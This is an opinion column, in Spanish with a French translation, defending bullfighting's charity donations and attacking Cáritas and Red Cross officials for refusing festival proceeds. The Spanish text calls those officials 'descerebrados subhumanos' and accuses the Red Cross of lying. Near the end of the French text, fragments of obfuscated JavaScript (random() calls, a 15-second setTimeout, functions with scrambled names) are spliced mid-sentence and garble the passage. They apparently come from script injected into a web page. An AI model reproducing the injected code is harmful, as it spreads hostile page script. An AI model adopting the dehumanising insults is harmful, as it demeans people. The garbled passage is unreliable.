EL DINERO MÁS HONRADOL’ARGENT LE PLUS HONNÊTE

Nunca me gustó la caridad. Ya el concepto supone la existencia de una indigencia que el gobierno de turno no ha sabido o no ha podido evitar. Supone también una desigualdad social que favorece la ostentación del donante y, en cierto modo, un sentimiento de humillación en el necesitado. Prefiero aquellos graneros con que la antigua Roma favorecía al pueblo suministrándole trigo abundante, que las casas de caridad.

No obstante, aunque me incline por una justicia social que eliminase dádivas y paliativos de la miseria, ante la penosa realidad que vive un número cada vez más elevado de nuestros semejantes, valoro en lo que tiene de humano y meritorio esa protección que las organizaciones benéficas practican en favor de los más necesitados.

A la provisión de fondos para la beneficencia pública ha venido contribuyendo altruistamente el toreo desde sus inicios y al mantenimiento de los primeros hospitales de caridad con que ha contado nuestro país. Nadie jamás puso en duda la generosidad de actuantes y organizadores y siempre medió entre éstos y las asociaciones benéficas el agradecimiento y reconocimiento de estas últimas.

Sin embargo, parece que han cambiado los tiempos. Llegó el fanatismo animalista y con él el odio profundo al ser humano. Lo mismo que nuestros gobernantes han traicionado al pueblo anteponiendo el pago de la deuda a las necesidades sociales, el animalismo antepone el bienestar animal al de las personas. Ha estado a punto de ocurrir en Córdoba y ha ocurrido en Requena, con el festival que se había organizado con el propósito de beneficiar a Cáritas y la Cruz Roja.

Los descerebrados subhumanos que dirigen las delegaciones de dichas entidades en Valencia, anteponiendo las bestias a las familias necesitadas que dicen socorrer –que, por supuesto, no son las suyas ni las de sus allegados–, desestiman alegremente los fondos que podrían obtener del espectáculo taurino negándose a recibir recaudación alguna que provenga de lo que su estulticia califica de “maltrato animal”.

Al parecer, eso de “a caballo regalado no le mires el diente” ha perdido para ellos su vigencia, o al menos, en lo que a los toros se refiere, ya que no me los imagino poniéndose a investigar si el dinero que reciben proviene de la droga, la prostitución, el blanqueo de capitales o simplemente del negocio de las granjas avícolas o la ganadería intensiva, donde aves o bovinos sufren hacinados un maltrato peor del que pudieran imaginar para el toro de lidia sus “sensibles” neuronas.

Ante el revuelo levantado por tamaño desaire, las comunicaciones de ambas entidades al respecto no han hecho sino dejarlas aún más en evidencia. Sobre todo a la Cruz Roja, que miente descaradamente al afirmar que en las dos últimas décadas no ha participado en ningún festejo taurino. Para desmentirlo, basta remontarse al 12 de octubre pasado y comprobar que la corrida de toros celebrada ese día en Sevilla se organizó a beneficio de dicha entidad, como viene siendo costumbre temporada tras temporada desde hace décadas.

Es un insulto a la inteligencia, que este tipo de beatos del animalismo ostenten cargos de responsabilidad en tales instituciones sin que la superioridad los destituya de un plumazo. En cuanto al festival, se celebró y, como es lógico, su finalidad benéfica siguió adelante, desviándose en este caso hacia el Asilo de Ancianos de la localidad, cuyas gestoras –las Hermanitas de los Ancianos Desamparados–, lejos de poner ningún tipo de trabas, han agradecido de todo corazón la recaudación que les viene de toreros y ganaderos. En contra de los remilgos de esos burguesitos filántropos de pacotilla, ellas saben de sobra que el dinero que van a recoger del toreo, además de venir como agua de mayo para cubrir las necesidades de su obra, es el dinero más honrado del mundo.

Je n’ai jamais aimé la charité. Car ce concept suppose l’existence d’une indigence que le gouvernement en place n’a pas sue ou n’a pas pu éviter. Il suppose aussi une inégalité sociale qui favorise le côté ostentatoire du donateur, et d’une certaine manière un sentiment d’humiliation pour le bénéficiaire. Je préfère ces greniers que l’ancienne Rome mettait à disposition du peuple pour se fournir abondamment en blé que ces maisons de charité. Cependant, si je m’incline pour une justice sociale qui éliminerait les donations et les palliatifs de la misère, devant la pénible réalité que doivent supporter un nombre chaque fois plus élevé de nos semblables, je valorise le côté humain et protecteur de ces organisations à but non lucratif destiné à ceux qui en ont le plus besoin.

À la provision de fonds pour le bénéfice de tous a contribué la tauromachie de manière altruiste depuis ses débuts pour le maintien des premiers hôpitaux de charité en Espagne. Personne n’a jamais mis en doute la générosité des participants et des organisateurs et il y a toujours existe de la part des organismes bénéficiaires de la reconnaissance et du remerciement.

Cependant, on dirait que les temps ont changé. Depuis qu’est arrivé le fanatisme animalier et avec lui la haine profonde de l’être humain. De la même manière que nos gouvernants ont trahi le peuple en privilégiant le paiement de la dette au détriment des besoins sociaux, l’anti-corrida privilégie le bien-être de l’animal à celui des hommes. C’est presque arrivé à Cordoue et ce le fut à Requena, avec les festivals organisés au bénéfice de Caritas et de la Croix Rouge.

Ces personnes écervelées qui dirigent les délégations de ces entités à Valence, en privilégiant les bêtes aux familles dans le besoin qu’ils prétendent secourir –qui, bien entendu, ne sont ni les siennes ni celles de leurs proches-, déclinent allègrement les fonds qu’ils pourraient récolter du spectacle taurin en refusant tout don provenant de ce qu’ils considèrent comme de la « maltraitance animale ».

L’expression « l’argent n’a pas d’odeur » ne semble plus leur convenir, ou tout du moins concernant la tauromachie, car je n’imagine pas qu’ils vont faire des investigations pour savoir si l’argent qu’ils reçoivent provient de la drogue, de la prostitution, du blanchiment de capitaux ou simplement du business des granges avicoles ou des élevages intensifs où la volaille et les bovins souffrent tassés les uns sur les autres une maltraitance bien pire que celle que pourraient imaginer leurs « sensibles » neurones.

Devant le tollé provoqué par semblable affront, les communiqués de ces deux entités les ont davantage mis en évidence. Surtout la Croix Rouge qui ment carrément en affirmant que durant les deux dernières décennies elle n’a participé à aucun spectacle taurin. Pour le démentir, il suffit de revenir au 12 octobre dernier et constater que la corrida de toros qui s’était déroulée à Séville était organisée au bénéfice de cet organisme, comme il est habituel saison après saison et depuis des décennies.

C’est une insulte à l’intelligence que ces béats de la défense animale soient en charge de ces postes et que leur direction ne les en chasse. Quant au festival il a bien eu lieu et logiquement son objectif caritatif a été maintenu et l’argent a été destiné au bénéfice de la maison de retraite de cette localité, dont les gestionnaires –les « Hermanitas de los Ancianos Desamparados » – au lieu de battre des bâtons dans les roues, ont remercié de tout cœur cet argent récolté fruit du travail des éleveurs et des toreros. Contrairement aux pinaillages de ces petits bourgeois philanthropes de pacotille, ils savent parfaitement que cet argent provient de la tauromachie, qu’ils en ont grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and besoin pour répondre à leurs nécessités, et que cet argent récolté est le plus honnête qui soit.

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